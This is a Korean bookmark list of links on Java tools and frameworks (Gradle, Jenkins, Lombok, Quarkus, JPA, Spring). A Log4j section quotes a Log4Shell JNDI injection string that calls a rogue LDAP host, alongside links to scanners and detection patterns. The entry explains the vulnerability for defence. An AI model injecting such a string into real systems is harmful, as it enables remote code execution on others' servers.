- 더 빠를까요, 더 나은 디자인일까요? 두 가지 중 하나를 선택하세요! by Dmytro Vyazelenko | 완벽한 영상요약, 릴리스에이아이 | Lilys AI
- 'No Garbage', 자바 성능 최적화, JM 성능 개선 전략 소개
- 데이터 처리 최적화: Flyway 패턴과 자료구조 최적화
- 동시 실행 코드 대신 단일 스레드 구조 추천
- 사용자에게 프래그먼트 어셈블러를 추천하지만 성능 개선에 필요한 기법 제시.
- 자원 충돌 문제 해결을 위한 단일 쓰레드 이벤트 처리 방법
- Eclipse Mission Control | Adoptium
- jconsole
- jprobe
- jProfiler
- jvm-profiling-tools
- Uber JVM Profiler - JVM Profiler Sending Metrics to Kafka, Console Output or Custom Reporter
- VisualVM Performance Profiling During Your Development Workflow
- 7 New Tools Java Developers Should Know
- 시간 당 실행 횟수 제한 라이브러리 3종 소개: RateLimiter, RateLimitJ, Bucket4j
- Java 대용량 엑셀 다운로드 기능 구현 JXLS, POI
- 로그 프레임워크
- 9 Java EE Frameworks to Build Enterprise Applications
- 10 Popular Java Frameworks. What to Use In 2020 and Further | by Andrej Suschevich | Javarevisited | Jun, 2020 | Medium
- Java를 위한, Java에 의한 도구들 jvmtop, jvm-tools, jcmd, jhsdb, jmh, jcstress, jol
- CIRCUIT BREAKER로 통신 FAILOVER 처리하기
- Improving Code Quality for Java Projects
- Top 10 Libraries every Java Developer should know | by Md Kamaruzzaman | Sep, 2020 | Towards Data Science Apache Commons, Google Guava, Jackson, JAXB, SLF4J, Log4j 2, Mockito, AssertJ, Hibernate, Apache HTTPComponents
- 3 new Java tools to try in 2021 | Opensource.com Quarkus, Eclipse JKube, MicroProfile
- Top 3 Groovy Frameworks and Tools Java Developers Should Learn | by javinpaul | Javarevisited | Feb, 2022 | Medium
- Java에서 MySQL 비동기 쿼리 사용하기 | NHN FORWARD MySQL X DevAPI, jasync-SQL
- "클라우드 네이티브로 한 걸음 더 가까이" 다가간 자바 프레임워크 8종 - ITWorld Korea
- Aeron - Efficient reliable UDP unicast, UDP multicast, and IPC message transport
- alf.io - The open source ticket reservation system for conferences, trade shows, workshops, meetups https://alf.io
- apiwave - Discover and track APIs
- ASM - an all purpose Java bytecode manipulation and analysis framework
- axon - Framework for scalable, high performance applications
- BinNavi is a binary analysis IDE that allows to inspect, navigate, edit and annotate control flow graphs and call graphs of disassembled code. http://www.zynamics.com/binnavi.html
- bladecoder-adventure-engine: Classic point and click adventure game engine and editor
- cfr: This is the public repository for the CFR Java decompiler
- Chatty - a Twitch chat client
- CheerpJ: Java 코드를 JavaScript로 변환해주는 컴파일러
- crawler4j
- CrococryptLib for Java and Android: The easiest way to integrate encryption into your application
- DEC PDP-8 emulator
- Eclipse Collections
- eGovFramework/egovframe-template-simple-backend
- eGovFramework/egovframe-template-simple-react
- Ehcache: Java's Most Widely-Used Cache
- excel-download: Rapid development possible and Simple Excel Download Library For JAVA 8+
- Feign makes writing java http clients easier
- Fig - Java elegant supplement
- fireball: High-performance file transfering service
- Flyway
- Flow - Record your application executions and visualize what happened at runtime through an interactive web interface
- flowable - provides a core set of open source business process engines
- Gemini - Automatically generate backend REST API. Build modern web/mobile application, microservice and MVP faster than ever
- Gradle
- Gradle 멀티 프로젝트(모듈) 관리
- 그레이들(Gradle)로 만드는 안드로이드 요리법
- Mac환경에서 Gradle기반의 Java개발환경 준비하기
- Android CI 환경 구축하기
- #1 구글은 왜 그레이들을 채택했을까
- #2 구성요소로 바라본 그레이들
- Gradle + SpringBoot + Travis CI + Coveralls + 텔레그램 연동하기
- Gradle 멀티 모듈에서 TravisCI & Coveralls 연동
- DIY Gradle build optimization
- 멀티모듈 설계 이야기 with Spring, Gradle
- buildConfigField 로 Debug와 Release 가 다른 값을 가지는 방법
- 혼자서 연습해본 Gradle 4.1 튜토리얼 - 그야 말로 대충 번역!
- Andres Almiray - Gradle Ex Machina
- Gradle 프로젝트에 JaCoCo 설정하기
- Mono-repo, Multi-project를 Gradle 플러그인으로 손쉽게 관리하기
- Introducing Java toolchains
- Gradle5 -> 6 마이그레이션
- The Problem with Gradle
- message.properties → *.json 변환하여 프론트 프로젝트에 넣기. (gradle) :: 삶의여행
- 🐘스프링 부트 Gradle 사용하기 - YouTube
- 빌드 시스템, Gradle을 사용해 보자 : 네이버 블로그
- Gradle Dependency Configuration
- Gradle Wrapper | 개발자 황준일
- Sorting and Reporting Your Dependencies with Gradle - Speaker Deck
- Gradle 7.4 Introduces Aggregated Test Reports
- 테스트 의존성 관리로 높은 품질의 테스트 코드 유지하기
- buildSrc를 적용한 Gradle의 Dependency Update하기
- gs-collections - A supplement or replacement for the Java Collections Framework
- Helidon Project GraalVM native image support
- hwp-doclet
- hwplib: hwp library for java
- hwpxlib
- Immutables 2.0 - We use immutable objects all the time. We created Java annotation processors to generate simple, safe and consistent value objects. Do not repeat yourself, try Immutables, the most full-featured and mature tool in this field!
- infer - Open-sourcing Facebook Infer: Identify bugs before you ship
- j2ssh-maverick를 이용한 SCP + 키이용 파일 복사
- j2ssh-maverick를 이용한 SFTP 다운로드
- j2v8
- jabba - Java Version Manager inspired by nvm (Node.js). Written in Go
- JaCoCo Java Code Coverage Library
- jamm - Java Agent for Memory Measurements
- javacpp - The missing bridge between Java and native C++
- java-dirty - A fast append-only data store
- javalin
- java-linq-examples - 101 C# LINQ Samples in Java
- Java Native Access (JNA)
- Java Native Interface (JNI)
- The Java Playground - Dev.java
- JavaPoly.js Java(script) in the Browser
- Java REPL
- javosize - free next generation java profiler
- jbang
- jDeploy - Developer friendly desktop deployment tool | jDeploy
- Jenkins
- 젠킨스 설치 및 설정
- Jenkins 2.0 Overview
- Android CI 환경 구축하기
- SQLGate Build & Deploy Automation
- Jenkins 2.x DSL 적용기
- Jenkins와 gitHub 연동
- Jenkins로 Beanstalk + Multi Module 배포하기
- Jenkins에 Github 로그인 연동하기
- KubeCon 2018 Demo - Jenkins X overview at KubeCon Copenhagen
- Kubernetes 클러스터에서 Jenkins X 사용하기
- What Is Jenkins? | What Is Jenkins And How It Works? | Jenkins Tutorial For Beginners | Simplilearn
- Jenkins에 머티리얼 테마 적용하기
- CLI로 젠킨스 설정 업데이트하기
- jenkins docker 버전 설치
- Jenkins X - automated CI/CD solution for cloud native applications on Kubernetes
- Jenkins Port 변경하기
- 젠킨스 파이프라인 정리
- Jenkins
- 젠킨스에서 실패한 Job 무시하기
- 젠킨스 파이프라인 ( Jenkin pipeline ) - 병렬로 Job 실행하기
- 젠킨스 파이프라인(Jenkins pipeline) - 빌드 파라미터 넣기
- Building CI/CD pipelines with Jenkins
- 젠킨스와 Github ssh 연동하기
- Spring Batch 공통 설정 관리하기 (feat. 젠킨스 Environment variables)
- 젠킨스 빌드 파일 캐시 문제
- 젠킨스 변경된 Slack Integration Token 등록하기
- Jenkins 버전 업데이트하기
- IT 기업들에서 왜 Jenkins를 사용할까?
- 안드로이드 Jenkins(CI서버)에서 빌드시간을 90% 줄이는 4가지 방법 | by Ted Park | PRND | Jan, 2021 | Medium
- Jenkins를 이용해 지속적인 통합(CI)을 적용해보자 part 1 | Recoding Life
- Jenkins slave node 구성하기 - Troubleshooting 포함 - Nephtyw’S Programming Stash
- 제모옥은 젠킨스 조회로직 개선으로 하겠습니다. 근데 이제 비동기를 곁들인 - 우아한형제들 기술 블로그
- Prometheus와 Grafana를 활용한 Jenkins 모니터링 및 Alarm 구현 | by MUSINSA tech | Medium | MUSINSA tech
- How a Jenkins Job Broke our Jenkins UI - Slack Engineering
- iOS 플랫폼의 Jenkins CI 환경 구축하기 – 화해 블로그 | 기술 블로그
- Devops 2021: The best Jenkins Plugins to have in 2021 | by DevopsCurry | DevopsCurry | Medium
- 코딩스타트 :: Jenkins - Jenkins dood(docker out of docker)로 실행시켜 agent docker 사용하기
- Webhook을 이용하여 CI CD 구성하기 - 시리즈를 시작하며
- Jenkins Tutorial for Beginners FULL COURSE in 3 Hours - YouTube
- Jenkins Tutorial For Beginners - YouTube
- #6 Jenkins Pipeline CI CD Tutorial| Detailed Video - YouTube
- Jenkins로 서버 접속 없이 CI/CD 통합하기. 서버 직접 접속 없이 Jenkins만으로 Batch 코드 빌드(CI)와… | by 김민우 | Apr, 2022 | 롯데ON 기술 블로그
- Jenkins Tutorial — Part 1 — Pipelines | by Saeid Bostandoust | ITNEXT
- Jenkins Tutorial — Part 2 — Pipeline Variables | by Saeid Bostandoust | ITNEXT
- Jenkins Tutorial — Part 3 — Parameterized Pipeline | by Saeid Bostandoust | ITNEXT
- Jenkins Tutorial — Part 4 — Post Actions | by Saeid Bostandoust | ITNEXT
- Jenkins Tutorial — Part 5 — When Conditions | by Saeid Bostandoust | ITNEXT
- Jenkins Tutorial — Part 6 — Pipeline Options | by Saeid Bostandoust | ITNEXT
- Jenkins Tutorial — Part 7 — Interactive Pipelines | by Saeid Bostandoust | ITNEXT
- Jenkins Tutorial — Part 8 — Triggering Pipeline | by Saeid Bostandoust | ITNEXT
- Jenkins Tutorial — Part 9 — Basic Pipeline Steps | by Saeid Bostandoust | May, 2022 | ITNEXT
- Jenkins Tutorial For Beginners - Jenkins Tutorial - Jenkins Crash Course - YouTube
- #jenkins #springboot Spring Boot Application Deployment Using Jenkins CI & CD #lovetolearn - YouTube
- Monitoring Jenkins with Java Melody - YouTube
- Learn Jenkins by Building a CI/CD Pipeline
- How to Validate Jenkinsfile using Visual Studio Code
- Jenkins Pipeline 구축
- CI/CD Jenkins 와 Nginx 를 활용한 Blue/Green 자동화 배포 아키텍처를 수동으로 구축하기 (feat. SpringBoot)
- Jenkins CI/CD Pipeline - SonarQube, Docker, Github Webhooks on AWS | Resume Project | English - YouTube
- CI/CD Jenkins와 Gitea 연동
- Jenkins 성능 개선 part1 - 캐싱 적용
- jenkins-stack-kubernetes: Scripts and manifests to deploy complete Jenkins on Kubernetes
- jenkins-tutorial: The complete Jenkins tutorial, reference, awesome, examples
- jEnv - a command line tool to help you forget how to set the JAVA_HOME environment variable
- jfugue - Music Programming for Java™ and JVM Languages
- jobrunr Distributed Java Background Job Scheduler · JobRunr
- jOOλ - The Missing Parts in Java 8 jOOλ improves the JDK libraries in areas where the Expert Group's focus was elsewhere
- JPro for Java/JavaFX
- jps Check Java processes on Linux with the jps command | Opensource.com
- JReleaser publish binaries to Homebrew, Scoop, Snapcraft, Chocolatey, among others
- jsoup: Java HTML Parser
- jvisualvm을 사용한 jvm 모니터링
- Katharsis library adds an additional layer on top of RESTful endpoint to provide easy HATEOAS support for Java by implementing JSON:API standard
- KoreanTextMatcher 한글 초성 검색과 KoreanTextMatcher 3.0
- leakcanary - Detect All Memory Leaks With LeakCanary
- Leyden Project Leyden Aims to Improve Java Startup Time
- The Liquibase Community | The Database DevOps Community
- lombok
- 자바모델 클래스에 날개를달자 롬복(Lombok)
- Lombok 사용상 주의점(Pitfall)
- Lombok makes Java cool again
- 스프링 팁, "생성자 안 만들고 생성자 주입을 쓸 수 있다?!" (feat 롬복)
- Spicing up your Java — Introduction to Project Lombok
- 자바 초보개발자를 위한 꿀팁 - Lombok - YouTube
- Simplifying Java Boilerplate Through Lombok - YouTube
- 자바 코딩 간소화 기능 lombok - YouTube
- Lombok을 쓰며 겪었던 문제
- Project Lombok & MapStruct with Spring Boot | Java Bean Mappings | Spring Boot MapStruct CRUD API - YouTube
- Say Good-Bye to Boilerplate Code with Lombok: Part 1-Installation | CodersTea
- Say Good-Bye to Boilerplate Code with Lombok: Part 2-The Code | CodersTea
- Lombok with MapStructs
- Java 14 Record vs. Lombok | Baeldung
- Machine Learning - Java collection that provides Java packages for developing a machine learning algorithm
- Mappedbus - IPC between multiple Java processes with nanosecond latency
- Maven
- Maven Wrapper 소개와 사용
- Maven으로 데비안 패키지를 만들어보자
- Apt.ly를 이용한 데비안 리포지토리 생성
- How to get started with Maven
- MacOS - Maven 설치 가이드
- Publish open source project to Maven with Sonatype
- Maven 중앙 저장소에 업로드하는 방법
- Maven Tips and Tricks
- How to add a custom dependency JAR in Apache Maven — English | by Bryant Jimin Son | Aug, 2020 | Medium
- 15. Spring - 외부 jar파일을 Maven 로컬 레파지토리에 추가하기
- Welcome to JAR Hell, Part 1 (Compilation, Classpaths, and Libraries)
- Maven 외부 라이브러리 의존성 관리
- Micronaut Servlet - a New Micronaut Project for Servlet API Developers
- MicroProfile
- modelmapper - Simple, Intelligent, Object Mapping
- Mojave - Java Web MVC Framework
- Nexus
- NuProcess: Low-overhead, non-blocking I/O, external Process implementation for Java
- op4j
- OpenRewrite
- Paketo Buildpacks
- PalDB is an embeddable write-once key-value store written in Java
- Parallel Java 2 Library
- Pathfinder 설치 및 실행법
- phi-accural-failure-detector: A port of Akka's Phi Accrual Failure Detector
- picocli - a mighty tiny command line interface
- Precipice - A Java Library for Isolating and Monitoring Task Execution
- QUARKUS - Supersonic Subatomic Java A Kubernetes Native Java stack tailored for GraalVM & OpenJDK HotSpot, crafted from the best of breed Java libraries and standards
- Why Quarkus
- Quarkus란?
- Building a Microservice From the Ground up With Quarkus, Kotlin, and Debezium | by Iain Porter | Level Up Coding
- Implementing the Transactional Outbox Pattern with Debezium in Quarkus | by Iain Porter | Level Up Coding
- Building a Resilient Microservice with Quarkus and Wiremock | by Iain Porter | Level Up Coding
- Securing a Microservice in Quarkus with OpenID Connect | by Iain Porter | Level Up Coding
- Running a Microservice in Quarkus on GraalVM | by Iain Porter | Sep, 2020 | Medium
- Containerizing your Microservice in Quarkus with Jib | by Iain Porter | Sep, 2020 | Medium
- Building a CI Pipeline for a Microservice in Quarkus with CircleCI | by Iain Porter | Sep, 2020 | Level Up Coding
- Quarkus 2.0 Delivers Continuous Testing, CLI and Supports Minimal JDK 11
- Quarkus: Get started with Kubernetes-native Java | InfoWorld
- Coding in Java with Joy - YouTube
- Top 5 Courses to learn Quarkus Framework in 2022 - Best of Lot | Java67
- Techniques for Maintainable Quarkus Applications - YouTube
- Kubernetes Native Java with Quarkus
- Battle of the frameworks : Quarkus vs SpringBoot by Giorgos Andrianakis & Christos Sotiriou - YouTube
- Developing a stream processing application with Apache Kafka and Quarkus by Ozan Gulp & Escoffier - YouTube
- OpenId Connect and JSON Web Token Security in Quarkus by Stuart Douglas & Sergey Beryozkin - YouTube
- Quarkus on AWS Lambda by Clement Escoffier - YouTube
- Why and when to write a Quarkus extension by Ioannis Canellos - YouTube
- Quarkus Community BOF - YouTube
- Contract testing with Pact and Quarkus by Holly Cummins - YouTube
- Quarkus Unveiled: Efficiency & Green Impact • Holly Cummins & Charles Humble • GOTO 2023 - YouTube
- Quarkus Unveiled: Efficiency & Green Impact • Holly Cummins & Charles Humble - YouTube
- Faster, greener, and happier- why Quarkus should be your next tech stack by Holly Cummins - YouTube
- Why Quarkus Should Be Your Next Tech Stack: Faster, Greener & Happier • Holly Cummins • GOTO 2023 - YouTube
- Devoxx Greece 2024 - Quarkus meets AI : Build your own LLM-powered application - YouTube
- R2DBC (Reactive Relational Database Connectivity) - an endeavor to bring a reactive programming API to SQL databases
- RefactorFirst - This tool for Java codebases will help you identify the God Classes you should refactor first
- Rspec - Testing Logstash Configs With Rspec
- SaltluxLiveStock - 솔트룩스 주식을 실시간으로 라이언이 알려줍니다
- servicetalk: A networking framework that evolves with your application
- JVM 네트워크 애플리케이션 프레임워크로 Apple에서 오픈소스로 공개
- ShedLock - Distributed lock for your scheduled tasks
- Siddhi - a java library that listens to events from data streams, detects complex conditions described via a Streaming SQL language, and triggers actions. It performs both Stream Processing and Complex Event Processing
- skija: Skia bindings for Java
- snappy-java - Snappy compressor/decompressor for Java
- SPMF - An Open-Source Data Mining Library
- SproutLife: Evolving version of Conway’s Game of Life
- STOMP - The Simple Text Oriented Messaging Protocol
- Swim Home | Swim Developer actor
- Tabula is a tool for liberating data tables locked inside PDF files
- Thumbnailator - a thumbnail generation library for Java
- TLB - Test Load Balancer(TLB)
- tCache - Scalable data-aware Java Caching Highly scalable, flexible caching within the JVM Heap
- TeaVM
- To-Excel - This is a library that makes Excel easier to use in Java
- Trampoline - Simple standalone trampoline implementation for stackless recursion and simulating co-routines / continuations
- twitter-text - Twitter Text Libraries
- twilio 해외 문자 발송을 위한 선택 - twilio
- Vaadin
- walkmod is an open source tool to apply and share your own code conventions
- WebRPC - Cross-platform RPC over HTTP
- avd - visual debugger
- BugJail - the new Java debugger that can. Windows, Mac and Linux. No cloud. Free to use during beta
- Open Sourcing the Netflix Domain Graph Service Framework: GraphQL for Spring Boot | by Netflix Technology Blog | Feb, 2021 | Netflix TechBlog
- A Tale of Two Frameworks: The Domain Graph Service Framework Meets Spring GraphQL | by Netflix Technology Blog | Apr, 2024 | Medium
- Netflix는 Spring Boot 기반 GraphQL 서비스를 만들 수 있는 DGS 프레임워크를 2021년 오픈소스로 공개
- 이후 Spring 팀의 Spring GraphQL이 성숙해 지면서 최근에는 비슷한 수준까지 올라와서 같은 문제를 해결하는 2개의 프레임워크가 존재
- 이 둘을 따로 관리하는 것보다 협업하는 게 효과적일 거로 생각
- DGS를 Spring GraphQL과 통합하고 성능 문제도 해결해서 DGS에서도 Spring GraphQL과 동등한 성능
- 옵트인 방식을 지원해서 Spring GraphQL 스타터를 적용한 뒤 레거시 DGS 코드를 제거할 계획 존재
- Netflix는 Spring Boot 기반 GraphQL 서비스를 만들 수 있는 DGS 프레임워크를 2021년 오픈소스로 공개
- GraphQlTester를 사용할 때 entity 변환이 안되는 이유(feat: ObjectMapper)
- graphql-java - GraphQL Java implementation
- Logging Performance Comparison - Sebastian Daschner
- Logging in Java — Log4j vs Logback vs SLF4J | by Dineshchandgr | Javarevisited | Medium
- java-logger-benchmark: Different Java Loggers Benchmarks.
- log4j 2
- Log4J 로깅 레벨 실시간에 바꾸기
- Apache Log4j RCE 제로데이 취약점 — 시행착오를 줄이는 방법
- 하루한줄 CVE-2021-44228: log4shell-전 세계 서버를 공격 가능한 최악의 log4j 취약점 - hackyboiz
- log4j 보안 취약점 동작원리 및 jenkins 서버 확인 방법 | Popit
- Logstash에 대한 log4j 취약점 확인 및 조치 방법 :: Cloud Computing On Demand
- Prisma Cloud Addresses Log4Shell Vulnerability: CVE-2021-44228 Mitigations
- Inside the Log4j2 vulnerability (CVE-2021-44228)
- Log4j 2 보안 취약점 사태 (Log4Shell) | OpenChain KWG
- BlueTeam CheatSheet * Log4Shell* | Last updated: 2021-12-12 2204 UTC
- Zero-Day Exploit Targeting Popular Java Library Log4j
- 12월 9일 Log4j에서
${jndi:ldap://rogueldapserver.com/a}
같은 문자열을 로그로 남기게 해서 원격 코드를 실행(RCE, remote code execution)할 수 있게 하는 치명적인 취약점 CVE-2021-4422 발견. Log4j 2.0부터 2.14.1에서 발생
- 12월 9일 Log4j에서
- Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) | LunaSec
- CVE-2021-44228에 이어 추가로 발견된 CVE-2021-45046 취약점. Log4j를 업그레이드하지 않고 noMsgFormatLookups 플래그를 활성화하거나 %m{nolookups}를 설정했을 때 ThreadContext에 데이터를 저장한다면 공격자가 데이터를 제어 가능. 2.7.0에서 2.14.1까지 존재
- Google Online Security Blog: Understanding the Impact of Apache Log4j Vulnerability
- 기고ㅣ애플리케이션에서 ‘Log4j’ 취약점을 탐지하는 방법 - CIO Korea
- Tech Solvency: The Story So Far: CVE-2021-44228 (Log4Shell log4j vulnerability).
- log4j: between a rock and a hard place
- 역대급 보안구멍 ‘로그4j’ 막아라···개발자들의 고군분투기 - CIO Korea
- 심각한 아파치 log4j 취약점 대응...이렇게 하면 된다 - 데일리시큐
- Log4J vulnerability on the 🔥 ? How to check your application is impacted and fix#devops #devsecops - YouTube
- log4j2-scan CVE-2021-44228-Scanner/README.md at main · logpresso/CVE-2021-44228-Scanner
- Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package | LunaSec
- log4shell-rex: PCRE RegEx matching Log4Shell CVE-2021-44228 IOC in your logs
- tinylog 2 - Lightweight Logging Framework for Java, Scala, Kotlin, and Android
- springoneplatform.io
- Spring Initializr - Bootstrap your application
- spring.io/projects
- 스프링 입문
- 스프링이 도대체 뭐란 말인가?
- 신입SW인력을 위한 실전 자바(Java) 스프링(Spring) 동영상과정
- Spring Data JPA + REST 소개
- JPA 상속관계 매핑(@MappedSuperclass, @Inheritance,@DiscriminatorValue,@DiscriminatorColumn)
- 레거시DB JPA 예: 복합키를 사용하는 테이블의 밸류 콜렉션
- Spring Data Specification 단순 조합을 위한 간단한 SpecBuilder
- 스프링 데이터 JPA : Pageable 대신 일정 범위 조회 기능 추가하기
- JPA에서 대량의 데이터를 삭제할때 주의해야할 점
- 레거시 DB+JPA(+DDD 구현 패턴) 적용기
- ID로 다른 애그리게잇을 참조하라
- DDD 값 객체와 마이크로서비스
- DDD Repository Pattern 이란, 이론편
- DDD Repository Pattern - 실전편 (Spring 에서 DIP 를 통해 Repository 의 선언과 구현 분리시키기)
- 우아한형제들 JPA 강의 소감과 적용 사례
- Legacy DB의 JPA Entity Mapping
- JPA, Hibernate, 그리고 Spring Data JPA의 차이점
- 하이버네이트 데이터베이스 스키마 자동 생성 시 키워드/예약어 충돌 문제 해결하기
- MySQL 환경의 스프링부트에 하이버네이트 배치 설정 해보기 - 우아한형제들 기술 블로그
- 무심코 적용한 Validation 의심해볼 필요가 있습니다 - See One hibernate-validator
- Hibernate Fetch Join시 메모리에서 페이징 처리 사전 차단하기
- Hibernate 의 ‘불편한’ 편의 기능들. Hibernate 는 지연 로딩, 캐싱, 쿼리 순서 최적화 등 개발자가… | by Hyeon9mak | Nov, 2024 | Monday9pm
- JPA에서 아이디를 자동증가 값으로 사용 시 하이버네이트의 @NaturalId 사용해 보기 | 우아한형제들 기술블로그
- JPA, OneToMany 양방향 관계 "MappedBy" 해설
- JPA 엔터티 카운트 성능 개선하기
- JPA 연관 관계 조회 그리고 MSA
- JPA N+1 발생원인과 해결 방법
- Spring-Jpa Best Practices
- JPA 선호하는 패턴
- JPA 선호하는 패턴
- JPA + Querydsl group_concat 사용법 | Popit
- JPA 덕분에 DB에서 삽질한 이야기 - 컬리 기술 블로그
- JPA에서 Reader DB 사용하기 (feat. AWS Aurora)
- JPA exists 쿼리 성능 개선
- JPA Entity Select에서 Update 쿼리 발생할 경우
- JPA 사용시 @Embedded 주의사항
- JPA Persistence Context Deep Dive | by Maeng Sol | Nov, 2021 | Medium
- 009. Java Persistence API | LinkedIn
- '📚 시리즈/- 배워보자 Spring Data JPA' 카테고리의 글 목록
- LazyInitializationException in SpringBoot JPA | could not initialize proxy – no Session | SpringBoot - YouTube
- 스프링 JPA 연관 필드, LazyInitializationException 발생 관련 개념 정리 – 형우의 웹개발
- Spring Data JPA @Query Example - Tutorial
- Spring Data JPA에서의 페이지네이션과 정렬
- JPA Paging Performance 향상 방법 - Yun Blog | 기술 블로그
- JPA 기초 강의 유튜브 영상 목록 :: 자바캔(Java Can Do IT)
- JPA 트랜잭션 내에서 엔티티를 변경할 때 마다 flush 해야하나요? dirty checking
- 도메인 모듈 분리 시 Transaction + JPA 활용 방안 - YouTube
- Native SQL로 데이터를 조회할 때 Enum 타입의 필터조건이 제대로 작동하지 않는 이슈 JPA
- JPA @Where 무시하기
- JPA에서의 Lock 이해하기 - Google Slides
- 11 JPA and Hibernate query hints every developer should know
- JPA 를 꼭 사용해야 하는데, 성능을 높히고 싶다면 StatelessSession 사용 고려 필요
- 굴러가는 자동차에 안전하게 타이어 교체하기(w. CMS 기능 개발) | 우아한형제들 기술블로그
- 잊을만 하면 돌아오는 정산 신병들 - 우아한형제들 기술 블로그
- @Entity 선언시 기본 생성자만 Generate 에 노출되는 이슈
- MultipleBagFetchException 발생시 해결 방법
- 더티 체킹 (Dirty Checking)이란?
- 응? 이게 왜 롤백되는거지? isGlobalRollbackOnParticipationFailure
- 정확히 트랜잭션이 롤백 되었을 때 장바구니를 복원하기 -TransactionSynchronization afterCompletion (Rollback hook)
- TransactionSynchronizationManager를 이용하여 DataSource 라우팅시 주의할 점
- Achieving consistency without transaction managers | by Bernd Rücker | Feb, 2022 | berndruecker
- [데이터 베이스의 자동증가 값을 기본키로 사용할 수 없을때는?](데이터 베이스의 자동증가 값을 기본키로 사용할 수 없을때는?) IdentifierGenerator interface
- 스프링에서 자바빈 로딩방법(Pre-Loading, Lazy-Loading)
- (스프링초보자를위한)스프링 컨텍스트 설정과 관련된 어노테이션
Config Server에 관하여 알아봅시다- blog.woniper.net/category/Spring
- 스프링에 Gentelella Admin 붙이기 with Apache Tiles
- Spring Security, MongoDB 연동 Login
- Spring Data MongoDB Repository 확장 - Yun Blog | 기술 블로그
- Spring Security: The Good Parts by Daniel Garnier-Moiroux - YouTube
- WebSocket을 활용한 채팅 서비스 구현
- boost-spring-websocket
- 릴리즈 임박! 스프링 5 리액티브 프로그래밍 소개
- 3월 우아한 Tech 세미나 후기 스프링 리액티브
- How to work SPRING @RestController (Jackson)
- 스프링 웹플럭스
- 1.1 소개
- 1.1.1 왜 새로운 웹 프레임워크인가?
- 1.1.2. 리액티브란 무엇이며 왜?
- 1.1.5. 웹 프레임워크 선택하기
- 1.1.7. 성능 VS 확장성
- 스프링 웹플럭스(WebFlux) SSE(Server Sent Event) 구현 1
- 스프링 웹플럭스(WebFlux) SSE(Server Sent Event) 구현 2
- 레진 기술 블로그 - Spring WebFlux 기반의 컨텐츠 인증 서비스 개발 후기
- How to develop a Reactive CRUD REST API with Spring WebFlux? | Making Java easy to learn
- WebFlux 사용시 WebClient를 써야하는 이유
- 네? Webflux에선 Pagination을 못쓴다고요? 그럼 만들지 뭐...
- Handling-reqeust-binding-exception in webflux
- Spring WebFlux에서 Flux을 응답할 때 JSON Array가 아닌 단일 String으로 응답되는 이슈
- 스프링 MVC 커스텀 HandlerMethodArgumentResolver 사용하기
- 신입 개발자 & 학생을 위한 Spring MVC Setting
- Spring-MVC 읽기
- 1. Spring Boot + MySQL 연동
- 2. application.properties DB접속정보로 DataSource 빈 생성이 안된이슈
- 3. Spring @Bean, @Configuration, @Component
- 4. Spring Boot + Mybatis 연동 후 Test 해보기
- 5. Spring 디비 멀티커넥션 @Primary, @Qualifier
- 6. Spring properties파일에 정의된 값들 JAVA로 가져오기 (3가지)
- Spring Project 스프링 프로젝트 시작하기 - Spring MVC
- Spring Project 스프링 프로젝트 시작하기 - Spring MVC 사용하기
- Spring MVC + Coroutines 에 대한 고민
- Spring Project 스프링 프로젝트 시작하기 - JDBC, mysql, mybatis (1)
- Spring Project 스프링 프로젝트 시작하기 - JDBC, mysql, mybatis (2)
- Spring JDBC
- mybatis $ # 차이를 알아봅시다
- 스프링부트 - MyBatis 실전 프로그래밍 - YouTube
- 스프링 부트 MyBatis - YouTube
- 11. Spring - Mybatis Interceptor로 파라미터 자동암호화 / select 쿼리 자동복호화및 쿼리 로그추출하기
- 23. Spring - Mybatis에서 Paramter가 N개일때 어떻게 바인딩 할까?
- 10. Spring IoC Container에 관리되는 Bean 목록 확인하기
- 12. Spring - jxls로 간편하게 엑셀다운로드 구현하기
- 13. Spring - jxls로 간편하게 엑셀업로드 구현하기
- 14. Spring - MessageSource로 메세지 및 다국어 관리하기
- Spring Project 스프링 프로젝트 시작하기 - Spring Boot JPA
- JPA - SLiPP 스터디 - SLiPP::위키
- JPA | 성능(?) 올려볼게요. with Projections | by spark | Feb, 2023 | Medium
- Spring MVC 예제 - 직원 관리 프로그램
- Spring MVC 예제 - @RequestMapping 어노테이션 예제
- GlobalExceptionHanling 은 어떻게 해야 할까 - Google Slides
- Spring Service Layer에 대한 고찰 MVC
- Spring Cloud Series - Microservices Sidecar pattern implementation using Postgres, Spring Cloud Netflix and Docker
- 로컬 개발 환경에서 Spring Cloud Connector 사용하기 | by yjs0997 | DT Evangelist 기술 블로그 | Medium
- Spring Guide - Exception 전략 - Yun Blog | 기술 블로그
- Spring Cloud Gateway Error Handling & Filter - Yun Blog | 기술 블로그
- Spring cloud config server | Microservices architecture | Spring boot - YouTube
- Spring cloud config server가 왜 우리 현재 상황에 맞지 않는지에 대한 간단한 체크
- Spring Cloud Stream 재시도 구현하기
- 스프링 리액터 Reactor 기초 글 목록
- 분산 데이터베이스 환경에서 RoutingDataSource 사용 시 JTA를 이용한 트랜잭션 처리
- OneToMany 관계에서 Left Outer Join 이 필요할 경우
- 스프링 스케줄러 런타임에 cron 설정 변경하기
- Spring 의 Cache 추상화를 사용하면서, 단건/다건 key 에 대한 동일 저장소 사용하기
- Spring Cache 적용으로 읽기 작업 성능 향상시키기
- Spring 스프링 캐시 간단하게 사용해보기
- Spring @Cacheable 메서드 내부 호출 개선하기 (feat. self invocation)
- Spring Guide - 테스팅 전략
- Spring Guide - 에외 처리 전략
- Spring Guide - Domain 객체 가이드
- Spring Guide - 외부 API 가이드
- Spring Guide - Service 적절한 크기 가이드
- Spring Guide - Directory 가이드
- @Reuqest Body에서는 Setter가 필요없다?
- 스프링 부트 컨테이너와 CI/CD 환경 구성하기 Kubernetes
- Spring에서의 API Logging
- Spring Guide
- Entity to DTO, DTO to Entity 그리고 ModelMapper
- Dto 클래스에서 MultiValueMap로 쉽게 타입 변환하기
- Spring Framework query parameter로 배열 받기(@RequestParam, dto 객체) - i-hope devlog
- 추가배포 없이 API의 case 통일시키기 - tech.kakao.com DTO
- 요령과 기본(Spring)
- Spring Camp 2017 1부
- Spring Camp 2017 2부
- 분위기가 확실히 달랐던 SpringCamp2024 - 👨💻꿈꾸는 태태태의 공간
- Spring Camp 2024 후기
- SpringCamp 2024 - YouTube
- Spring Framework Documentation -1
- Spring Framework Documentation -2
- Spring Framework Documentation -3
- Spring Framework Documentation -4
- Spring Framework Documentation - Spring AOP / Example-1
- Spring Framework Documentation - Spring AOP / Example-2
- Spring Framework Documentation - Spring AOP / Example-3
- AOP 개요 - YouTube
